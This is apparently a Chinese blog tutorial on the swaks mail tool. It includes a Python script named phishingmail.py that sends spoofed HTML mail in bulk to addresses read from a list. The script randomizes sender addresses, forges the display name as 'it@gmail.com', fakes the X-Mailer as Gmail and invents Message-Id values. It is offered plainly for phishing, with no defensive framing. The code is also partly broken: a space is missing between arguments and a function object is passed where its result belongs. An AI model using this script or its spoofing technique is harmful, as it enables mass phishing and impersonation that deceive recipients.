swaks邮件发送工具

swaks

操作系统版本:Kali GNU/Linux
swaks版本: 20201014.0

安装swaks

apt-get install swaks
swaks --to receptuser@gmail.com --from senduser@gmail.com

swaks常用参数

  1. --to:收件人邮件地址
  2. --from:发件人邮件地址
  3. --h-From:显示的发件人名称和发件人邮件地址,若发件人邮件地址与 --from不一致将会显示
  4. --attach-type:包括两种格式,纯文本样式text/plain、HTML样式text/html
  5. --attach-body:邮件正文
  6. --header:邮件标题
  7. --ehlo:ehlo header
  8. --header-X-Mailer:X-Mailer header
  9. --header-Message-Id:Message-Id header
swaks --to receptuser@gmail.com --from senduser@gmail.com --h-From: '"it@gmail.com" <admin@coregmail.com>' --attach-type 'text/html; charset=UTF-8' --attach-body mail.txt --header 'Subject:邮件标题' --ehlo admin --header-X-Mailer 'Gmail' --header-Message-Id ''

Python+swaks批量发送邮件

cat > phishingmail.py
import random
import os

def excute_fromaddress():
    cs=''
    for i in range(5):
        r1=str(random.randint(0,9))
        r2=chr(random.randint(65,90))
        r3=chr(random.randint(97,122))
        rr=random.choice([r1,r2,r3])
        cs=cs+rr
    cs=cs+"@"
    for i in range(5):
        r1=str(random.randint(0,9))
        r2=chr(random.randint(65,90))
        r3=chr(random.randint(97,122))
        rr=random.choice([r1,r2,r3])
        cs=cs+rr
    cs=cs+".com"
    return str(cs)

def excute_toaddress():
    with open(r'user.txt','r') as f:
        users=f.readlines()
    return users

def excute_messageid():
    cs=''
    for i in range(8):
        r1=str(random.randint(1,9))
        r2=chr(random.randint(65,74))
        rr=random.choice([r1,r2])
        cs=cs+rr
    cs=cs+"."
    for i in range(4):
        r1=str(random.randint(1,9))
        r2=chr(random.randint(65,74))
        rr=random.choice([r1,r2])
        cs=cs+rr
    cs=cs+"."
    for i in range(11):
        r1=str(random.randint(1,9))
        r2=chr(random.randint(65,74))
        rr=random.choice([r1,r2])
        cs=cs+rr
    return str(cs)

def send_mail():
    users=excute_toaddress()
    for user in users:
        if user:
            toaddress = user.strip('\n') + '@gmail.com'
            fromaddress=excute_fromaddress()
            command="swaks --to " + toaddress + " --from '" + fromaddress + "' --h-From: '\"it@gmail.com\" <" + fromaddress + ">' --attach-type 'text/html; charset=UTF-8' --attach-body mail.txt" + "--header 'Subject:邮件标题' --ehlo admin --header-X-Mailer 'Gmail' --header-Message-Id '<" + str(excute_messageid) + ".Gmail.it@gmail.com>'"
            os.system(command)

if __name__ == '__main__':
    print(send_mail())

参考链接:
http://www.jetmore.org/john/code/swaks/latest/doc/ref.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值